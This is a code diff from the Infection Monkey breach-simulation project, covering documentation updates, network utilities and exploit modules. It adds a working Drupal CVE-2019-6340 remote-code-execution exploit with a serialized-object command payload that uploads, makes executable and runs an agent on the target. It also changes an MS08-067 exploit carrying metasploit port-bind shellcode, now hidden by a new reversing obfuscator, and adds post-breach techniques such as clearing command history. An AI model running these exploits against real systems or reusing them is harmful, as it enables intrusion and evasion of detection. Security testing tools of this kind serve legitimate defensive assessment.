| Monkey Island v1.5.0.exe | Windows Installer | 1.5 | `55F39C8EEB04089F54C10C991A82FE1539BC072E1A7F364D0C720CBF0A28EBB7` |
| Monkey-Linux-32 | Agent | 1.5 | `B85E10AEF0B6935B0AF6EFEA03C9A684859F2DD078B31D9492E98585E2E89C39` |
| Monkey-Linux-64 | Agent | 1.5 | `44BA13A7391D4A16C46D5EF44F60B09E1EDCEB3C716C0AF4241F166619A62944` |

View File

@ -7,11 +7,13 @@ pre: "<i class='fas fa-play-circle'></i> "
tags: ["usage"]
---
If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup)
## Using the Infection Monkey
After deploying the Monkey Island in your environment, navigate to `https://<server-ip>:5000`.
### First-time setup
### First-time login
On your first login, you'll be asked to set up a username and password for the Monkey Island server. [See this page for more details](../accounts-and-security).

View File

@ -8,7 +8,7 @@ pre = "<i class='fas fa-map-marked-alt'></i> "
# Use cases
This section describes possible use cases for the "Infection Monkey" and helps to
This section describes possible use cases for the Infection Monkey and helps to
understand how this tool can be configured.
You can also refer to [our FAQ](../../faq) for more specific questions and answers.
@ -16,9 +16,6 @@ You can also refer to [our FAQ](../../faq) for more specific questions and answe
No worries! The Monkey uses safe exploiters and does not cause any permanent system modifications that impact security or operations.
{{% /notice %}}
#### Section contents:
- [Network breach](./network-breach) - Simulate internal network breach.
- [Network segmentation](./network-segmentation) - Test network segmentation.
- [Credential leak](./credential-leak) - Assess the impact of successful phishing attack or other form of credential leak.
- [IDS/IPS Test](./ids-test) - Test your network defence solutions.
- [Other](./other) - Tips and tricks about configuring monkey for your needs.
## Section contents
{{% children description=True %}}

View File

@ -1,7 +1,8 @@
---
title: "Credential Leak"
date: 2020-08-12T13:04:25+03:00
draft: true
draft: false
description: "Assess the impact of successful phishing attack, insider threat, or other form of credentials leak."
weight: 4
---

View File

@ -1,7 +1,8 @@
---
title: "IDS/IPS Test"
date: 2020-08-12T13:07:47+03:00
draft: true
draft: false
description: "Test your network defence solutions."
weight: 5
---
@ -24,7 +25,7 @@ Running the Monkey on both the Island and on a few other machines in the network
as it increases coverage and propagation rates.
![Post breach configuration](/images/usage/scenarios/ids-test.png "Post breach configuration")
![Post breach configuration](/images/usage/use-cases/ids-test.PNG "Post breach configuration")
## Assessing results
@ -50,5 +51,5 @@ While running this scenario, be on the lookout for the action that should arise:
Lastly, check Zero Trust and Mitre ATT&CK reports, to see which attacks can be executed on the network and how to
fix it.
![Map](/images/usage/scenarios/map-full-cropped.png "Map")
![Map](/images/usage/use-cases/map-full-cropped.png "Map")

View File

@ -1,7 +1,8 @@
---
title: "Network Breach"
date: 2020-08-12T13:04:55+03:00
draft: true
draft: false
description: "Simulate an internal network breach and assess the potential impact."
weight: 1
---

View File

@ -1,7 +1,8 @@
---
title: "Network Segmentation"
date: 2020-08-12T13:05:05+03:00
draft: true
draft: false
description: "Test network segmentation policies for apps that need ringfencing or tiers that require microsegmentation."
weight: 3
---

View File

@ -1,7 +1,8 @@
---
title: "Other"
date: 2020-08-12T13:07:55+03:00
draft: true
draft: false
description: "Tips and tricks about configuring monkey for your needs."
weight: 100
---

View File

@ -91,16 +91,14 @@ class MonkeyIslandRequests(object):
return requests.patch(self.addr + url, # noqa: DUO123
data=data,
headers=self.get_jwt_header(),
verify=False
)
verify=False)
@_Decorators.refresh_jwt_token
def delete(self, url):
return requests.delete( # noqa: DOU123
self.addr + url,
headers=self.get_jwt_header(),
verify=False
)
verify=False)
@_Decorators.refresh_jwt_token
def get_jwt_header(self):

View File

@ -0,0 +1 @@
T1216_PBA_FILE_DOWNLOAD_PATH = '/api/t1216-pba/download'

View File

@ -6,3 +6,7 @@ POST_BREACH_HIDDEN_FILES = "Hide files and directories"
POST_BREACH_TRAP_COMMAND = "Execute command when a particular signal is received"
POST_BREACH_SETUID_SETGID = "Setuid and Setgid"
POST_BREACH_JOB_SCHEDULING = "Schedule jobs"
POST_BREACH_TIMESTOMPING = "Modify files' timestamps"
POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = "Signed script proxy execution"
POST_BREACH_ACCOUNT_DISCOVERY = "Account discovery"
POST_BREACH_CLEAR_CMD_HISTORY = "Clear command history"

View File

@ -28,7 +28,7 @@ class NetworkRange(object, metaclass=ABCMeta):
"""
base_range = self.get_range()
if self._shuffle:
random.shuffle(base_range)
random.shuffle(base_range) # noqa: DUO102
for x in base_range:
yield self._number_to_ip(x)

View File

@ -1,3 +1,4 @@
import re
from urllib.parse import urlparse
@ -10,3 +11,10 @@ def get_host_from_network_location(network_location: str) -> str:
"""
url = urlparse("http://" + network_location)
return str(url.hostname)
def remove_port(url):
parsed = urlparse(url)
with_port = f'{parsed.scheme}://{parsed.netloc}'
without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port)
return without_port

View File

@ -1,12 +1,18 @@
from unittest import TestCase
from common.network.network_utils import get_host_from_network_location
from common.network.network_utils import (get_host_from_network_location,
remove_port)
class TestNetworkUtils(TestCase):
def test_remove_port_from_ip_string(self):
def test_get_host_from_network_location(self):
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
assert get_host_from_network_location("127.0.0.1") == "127.0.0.1"
assert get_host_from_network_location("www.google.com:8080") == "www.google.com"
assert get_host_from_network_location("user:password@host:8080") == "host"
def test_remove_port_from_url(self):
assert remove_port('https://google.com:80') == 'https://google.com'
assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8'
assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com'

View File

@ -0,0 +1,23 @@
# This code is used to obfuscate shellcode
# Usage:
# shellcode_obfuscator.py [your normal shellcode].
# For example:
# shellcode_obfuscator.py "\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
# This returns "\x30\x76\x7b\x07\xa8\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52"
# Verify that it's the same shellcode, just reversed and paste it in code.
# Then clarify it before usage to reverse it on runtime.
import sys
def obfuscate(shellcode: str) -> str:
shellcode = shellcode.split('\\')[::-1]
return '\\'+'\\'.join(shellcode)[:-1]
def clarify(shellcode: str) -> str:
return shellcode[::-1]
if __name__ == "__main__":
print(obfuscate(sys.argv[1]))

View File

@ -0,0 +1,17 @@
from unittest import TestCase
from common.utils.shellcode_obfuscator import clarify, obfuscate
SHELLCODE_FROM_CMD_PARAM = '\\x52\\x3d\\xf6\\xc9\\x4b\\x5d\\xe0\\x62\\x7e\\x3d\\xa8\\x07\\x7b\\x76\\x30'
OBFUSCATED_PARAM_OUTPUT = '\\x30\\x76\\x7b\\x07\\xa8\\x3d\\x7e\\x62\\xe0\\x5d\\x4b\\xc9\\xf6\\x3d\\x52'
OBFUSCATED_SHELLCODE = "\x30\x76\x7b\x07\xa8\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52"
CLARIFIED_SHELLCODE = "\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
class TestShellcodeObfuscator(TestCase):
def test_obfuscate(self):
self.assertEqual(obfuscate(SHELLCODE_FROM_CMD_PARAM), OBFUSCATED_PARAM_OUTPUT)
def test_clarify(self):
self.assertEqual(clarify(OBFUSCATED_SHELLCODE), CLARIFIED_SHELLCODE)

View File

@ -1,6 +1,9 @@
import sys
if sys.platform.startswith("win"):
import pythoncom
pythoncom.CoInitialize()
import wmi
from .mongo_utils import MongoUtils

View File

@ -2,12 +2,14 @@ import json
import logging
import platform
from socket import gethostname
from urllib.parse import urljoin
import requests
from requests.exceptions import ConnectionError
import infection_monkey.monkeyfs as monkeyfs
import infection_monkey.tunnel as tunnel
from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
from infection_monkey.config import GUID, WormConfiguration
from infection_monkey.network.info import check_internet_access, local_ips
from infection_monkey.transport.http import HTTPConnectProxy
@ -325,6 +327,17 @@ class ControlClient(object):
except requests.exceptions.RequestException:
return False
@staticmethod
def get_T1216_pba_file():
try:
return requests.get(urljoin(f"https://{WormConfiguration.current_server}/", # noqa: DUO123
T1216_PBA_FILE_DOWNLOAD_PATH),
verify=False,
proxies=ControlClient.proxies,
stream=True)
except requests.exceptions.RequestException:
return False
@staticmethod
def should_monkey_run(vulnerable_port: str) -> bool:
if vulnerable_port and \

View File

@ -1,3 +1,4 @@
import logging
from abc import abstractmethod
from datetime import datetime
@ -9,6 +10,9 @@ from infection_monkey.utils.plugins.plugin import Plugin
__author__ = 'itamar'
logger = logging.getLogger(__name__)
class HostExploiter(Plugin):
@staticmethod
def should_run(class_name):
@ -66,8 +70,11 @@ class HostExploiter(Plugin):
def exploit_host(self):
self.pre_exploit()
result = None
try:
result = self._exploit_host()
except Exception as _:
logger.error(f'Exception in exploit_host', exc_info=True)
finally:
self.post_exploit()
return result

View File

@ -0,0 +1,191 @@
"""
Remote Code Execution on Drupal server - CVE-2019-6340
Implementation is based on:
https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a.
"""
import logging
from urllib.parse import urljoin
import requests
from common.network.network_utils import remove_port
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import ID_STRING
__author__ = 'Ophir Harpaz'
LOG = logging.getLogger(__name__)
class DrupalExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Drupal Server'
def __init__(self, host):
super(DrupalExploiter, self).__init__(host)
def get_exploit_config(self):
"""
We override this function because the exploits requires a special extension in the URL, "node",
e.g. an exploited URL would be http://172.1.2.3:<port>/node/3.
:return: the Drupal exploit config
"""
exploit_config = super(DrupalExploiter, self).get_exploit_config()
exploit_config['url_extensions'] = ['node/', # In Linux, no path is added
'drupal/node/'] # However, Bitnami installations are under /drupal
return exploit_config
def add_vulnerable_urls(self, potential_urls, stop_checking=False):
"""
We need a specific implementation of this function in order to add the URLs *with the node IDs*.
We therefore check, for every potential URL, all possible node IDs.
:param potential_urls: Potentially-vulnerable URLs
:param stop_checking: Stop if one vulnerable URL is found
:return: None (in-place addition)
"""
for url in potential_urls:
try:
node_ids = find_exploitbale_article_ids(url)
if node_ids is None:
LOG.info('Could not find a Drupal node to attack')
continue
for node_id in node_ids:
node_url = urljoin(url, str(node_id))
if self.check_if_exploitable(node_url):
self.add_vuln_url(url) # This is for report. Should be refactored in the future
self.vulnerable_urls.append(node_url)
if stop_checking:
break
except Exception as e: # We still don't know which errors to expect
LOG.error(f'url {url} failed in exploitability check: {e}')
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found")
def check_if_exploitable(self, url):
"""
Check if a certain URL is exploitable.
We use this specific implementation (and not simply run self.exploit) because this function does not "waste"
a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic.
:param url: Drupal's URL and port
:return: Vulnerable URL if exploitable, otherwise False
"""
payload = build_exploitability_check_payload(url)
response = requests.get(f'{url}?_format=hal_json', # noqa: DUO123
json=payload,
headers={"Content-Type": "application/hal+json"},
verify=False)
if is_response_cached(response):
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
return False
return 'INVALID_VALUE does not correspond to an entity on this site' in response.text
def exploit(self, url, command):
# pad a easy search replace output:
cmd = f'echo {ID_STRING} && {command}'
base = remove_port(url)
payload = build_cmd_execution_payload(base, cmd)
r = requests.get(f'{url}?_format=hal_json', # noqa: DUO123
json=payload,
headers={"Content-Type": "application/hal+json"},
verify=False)
if is_response_cached(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
if ID_STRING not in r.text:
LOG.warning('Command execution _may_ have failed')
result = r.text.split(ID_STRING)[-1]
return result
def get_target_url(self):
"""
We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL.
Reusing the same URL eliminates its exploitability because of caching reasons :)
:return: vulnerable URL to exploit
"""
return self.vulnerable_urls.pop()
def are_vulnerable_urls_sufficient(self):
"""
For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
:return: Whether the list of vulnerable URLs has at least 5 elements.
"""
# We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it.
num_urls_needed_for_full_exploit = 5
num_available_urls = len(self.vulnerable_urls)
result = num_available_urls >= num_urls_needed_for_full_exploit
if not result:
LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server '
f'but only {num_available_urls} found')
return result
def is_response_cached(r: requests.Response) -> bool:
""" Check if a response had the cache header. """
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set:
""" Find target articles that do not 404 and are not cached """
articles = set()
while lower < upper:
node_url = urljoin(base_url, str(lower))
response = requests.get(node_url, verify=False) # noqa: DUO123
if response.status_code == 200:
if is_response_cached(response):
LOG.info(f'Found a cached article at: {node_url}, skipping')
else:
articles.add(lower)
lower += 1
return articles
def build_exploitability_check_payload(url):
payload = {
"_links": {
"type": {
"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
}
},
"type": {
"target_id": "article"
},
"title": {
"value": "My Article"
},
"body": {
"value": ""
}
}
return payload
def build_cmd_execution_payload(base, cmd):
payload = {
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
"".replace('|size|', str(len(cmd))).replace('|command|', cmd)
}
],
"_links": {
"type": {
"href": f"{urljoin(base, '/rest/type/shortcut/default')}"
}
}
}
return payload

View File

@ -89,13 +89,13 @@ class WebRCE(HostExploiter):
if not ports:
return False
# Get urls to try to exploit
urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls'])
if not self.vulnerable_urls:
if not self.are_vulnerable_urls_sufficient():
return False
self.target_url = self.vulnerable_urls[0]
self.target_url = self.get_target_url()
self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
# Skip if monkey already exists and this option is given
@ -104,21 +104,21 @@ class WebRCE(HostExploiter):
return True
# Check for targets architecture (if it's 32 or 64 bit)
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url):
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()):
return False
# Upload the right monkey to target
data = self.upload_monkey(self.target_url, exploit_config['upload_commands'])
data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands'])
if data is False:
return False
# Change permissions to transform monkey into executable file
if self.change_permissions(self.target_url, data['path']) is False:
if self.change_permissions(self.get_target_url(), data['path']) is False:
return False
# Execute remote monkey
if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False:
if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False:
return False
return True
@ -193,6 +193,7 @@ class WebRCE(HostExploiter):
def build_potential_urls(self, ports, extensions=None):
"""
Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions.
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
@ -350,7 +351,6 @@ class WebRCE(HostExploiter):
if not commands:
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command)
self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
@ -508,3 +508,21 @@ class WebRCE(HostExploiter):
def set_vulnerable_port_from_url(self, url):
self.vulnerable_port = HTTPTools.get_port_from_url(url)
def get_target_url(self):
"""
This method allows "configuring" the way in which a vulnerable URL is picked.
If the same URL should be used - always return the first.
Otherwise - implement your own (e.g. Drupal must use a new URI each time).
:return: a vulnerable URL
"""
return self.vulnerable_urls[0]
def are_vulnerable_urls_sufficient(self):
"""
Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack.
Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for
single use, thus we need a couple of them.
:return: Whether or not a full attack can be performed using the available vulnerable URLs.
"""
return len(self.vulnerable_urls) > 0

View File

@ -14,6 +14,7 @@ from logging import getLogger
from impacket import uuid
from impacket.dcerpc.v5 import transport
from common.utils.shellcode_obfuscator import clarify
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import (build_monkey_commandline,
get_monkey_depth,
@ -27,29 +28,44 @@ from infection_monkey.network.tools import check_tcp_port
LOG = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444
SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
OBFUSCATED_SHELLCODE = ("\xa9\xb6\x4a\x39\x56\x60\xb5\xba\xf6\xb2\xc0\x19\xc1\x66\xb5\xbb\x7f\x49\x2e"
"\x2d\x2a\x4a\x1d\x62\x79\x49\x7d\x16\x56\xdc\x9c\x16\xfa\x78\x4f\x30\x04\xde"
"\x9a\x16\xf8\xe3\x1b\xb8\xa8\xdc\x1b\xb8\xf8\xe4\x1d\xb2\x7f\x49\x0e\x9c\x56"
"\xa0\xf9\x17\xdb\xde\xe1\x42\x02\x8e\x30\x64\x3a\x9a\x08\x17\x84\xf4\xb4\x43"
"\x5a\x76\x7b\x0b\x20\xf2\x20\x0e\x20\x7a\x63\xb0\xf9\xdc\xaf\x60\xc4\xd5\x22"
"\x8f\xcd\xdc\x2c\x39\x56\xe3\x9c\x16\xfe\xcf\x8c\x90\x4e\xde\xd9\x39\x56\xe3"
"\x1e\xbd\xf9\x60\xb5\xbe\xe0\x30\x03\x0c\xc1\x66\xb5\xbc\xfa\x60\xb5\xbe\x40"
"\x98\xe7\x4d\xc1\x66\xb5\xbc\xf8\xa6\x20\x3f\x56\xe1\x8d\x99\xb3\x12\x22\x7c"
"\x48\x3f\x19\x8f\xf5\xa7\x22\x8f\x79\x49\x19\xaa\xfa\xf5\x19\xba\xfa\xe5\x19"
"\x3f\x56\xe1\xe7\x1c\xa0\x6f\x22\x39\x56\xb4\x20\xbc\xab\xbe\xa7\x68\xcf\x53"
"\xc3\xb6\x7f\x49\x1a\xd2\x55\x5b\x81\x81\x79\x49\x1e\xb6\x9b\xc5\x3d\x81\x9b"
"\x85\x22\x8f\xfa\xd0\x9c\x16\xf9\x5a\x44\xa7\x27\xde\x14\xe1\xe9\x3d\xe7\xf5"
"\xd9\x3d\x46\xa9\x22\x86\x09\x62\xcd\x6d\x7b\x2a\xc8\xaa\x6e\x85\x20\x3d\x66"
"\xea\x42\xb7\x56\xb6\x22\xfd\x46\x62\xcf\x5d\x4b\xcd\xf6\x3d\xaf\x9c\x81\x92"
"\x1e\xd2\x5d\x5d\x88\xe8\xa4\x7c\x8b\xee\xdd\x76\xce\x45\x30\x76\x7b\x07\xa8"
"\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52\xa6\x22\x59\x4b\x91\xac\xca\xc1\xd5"
"\xec\x3d\x6e\xcd\xc5\x3d\x2a\x16\x56\x49\xb3\x01\xe4\x5d\x20\x15\xf4\xe2\xfc"
"\xee\x83\xa9\xb6\x4a\xe9\x0e\x76\x81\x5e\xc0\xff\xff\xff\xff\xe8\xb0\xe9\x83"
"\xc9\x29\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90")
SHELLCODE = clarify(OBFUSCATED_SHELLCODE)
XP_PACKET = ("\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43"
"\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01"
"\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47"
"\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48"
"\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49"
"\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00"
"\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02"
"\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00"
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00")
# Payload for Windows 2000 target
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
@ -83,6 +99,7 @@ PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
class WindowsVersion(IntEnum):
Windows2000 = 1
Windows2003_SP2 = 2
WindowsXP = 3
class SRVSVC_Exploit(object):
@ -92,6 +109,7 @@ class SRVSVC_Exploit(object):
self._port = port
self._target = target_addr
self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003
self.os_version = os_version
def get_telnet_port(self):
"""get_telnet_port()
@ -130,6 +148,8 @@ class SRVSVC_Exploit(object):
return sock
def _build_dce_packet(self):
if self.os_version == WindowsVersion.WindowsXP:
return XP_PACKET
# Constructing Malicious Packet
dce_packet = '\x01\x00\x00\x00'
dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
@ -158,7 +178,8 @@ class Ms08_067_Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
_EXPLOITED_SERVICE = 'Microsoft Server Service'
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
'Windows 5.1': WindowsVersion.WindowsXP}
def __init__(self, host):
super(Ms08_067_Exploiter, self).__init__(host)
@ -232,7 +253,7 @@ class Ms08_067_Exploiter(HostExploiter):
break
if not remote_full_path:
return False
return True
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
@ -248,11 +269,11 @@ class Ms08_067_Exploiter(HostExploiter):
vulnerable_port=SRVSVC_Exploit.TELNET_PORT)
try:
sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.user_to_add,))
sock.send(("start %s\r\n" % (cmdline,)).encode())
sock.send(("net user %s /delete\r\n" % (self._config.user_to_add,)).encode())
except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
return False
return True
finally:
try:
sock.close()

View File

@ -7,8 +7,9 @@ import sys
import traceback
from multiprocessing import freeze_support
# dummy import for pyinstaller
# noinspection PyUnresolvedReferences
import infection_monkey.post_breach # dummy import for pyinstaller
import infection_monkey.post_breach # noqa: F401
from common.version import get_version
from infection_monkey.config import EXTERNAL_CONFIG_FILE, WormConfiguration
from infection_monkey.dropper import MonkeyDrops

View File

@ -1,4 +1,4 @@
from infection_monkey.model.host import VictimHost
from infection_monkey.model.host import VictimHost # noqa: F401
__author__ = 'itamar'

View File

@ -89,7 +89,7 @@ class InfectionMonkey(object):
if self._opts.depth is not None:
WormConfiguration._depth_from_commandline = True
WormConfiguration.depth = self._opts.depth
LOG.debug(f"Setting propagation depth from command line")
LOG.debug("Setting propagation depth from command line")
LOG.debug(f"Set propagation depth to {WormConfiguration.depth}")
self._keep_running = True
@ -337,8 +337,8 @@ class InfectionMonkey(object):
:return: True if successfully exploited, False otherwise
"""
if not exploiter.is_os_supported():
LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine)
LOG.info("Skipping exploiter %s host:%r, os %s is not supported",
exploiter.__class__.__name__, machine, machine.os)
return False
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)

View File

@ -12,7 +12,7 @@ __author__ = 'itamar'
PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c"
PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W"
TTL_REGEX_STR = '(?<=TTL\=)[0-9]+'
TTL_REGEX_STR = r'(?<=TTL\=)[0-9]+'
LINUX_TTL = 64
WINDOWS_TTL = 128

View File

@ -6,7 +6,7 @@ from infection_monkey.network.tools import check_tcp_port
SSH_PORT = 22
SSH_SERVICE_DEFAULT = 'tcp-22'
SSH_REGEX = 'SSH-\d\.\d-OpenSSH'
SSH_REGEX = r'SSH-\d\.\d-OpenSSH'
TIMEOUT = 10
BANNER_READ = 1024
LINUX_DIST_SSH = ['ubuntu', 'debian']

View File

@ -0,0 +1,10 @@
from infection_monkey.post_breach.account_discovery.linux_account_discovery import \
get_linux_commands_to_discover_accounts
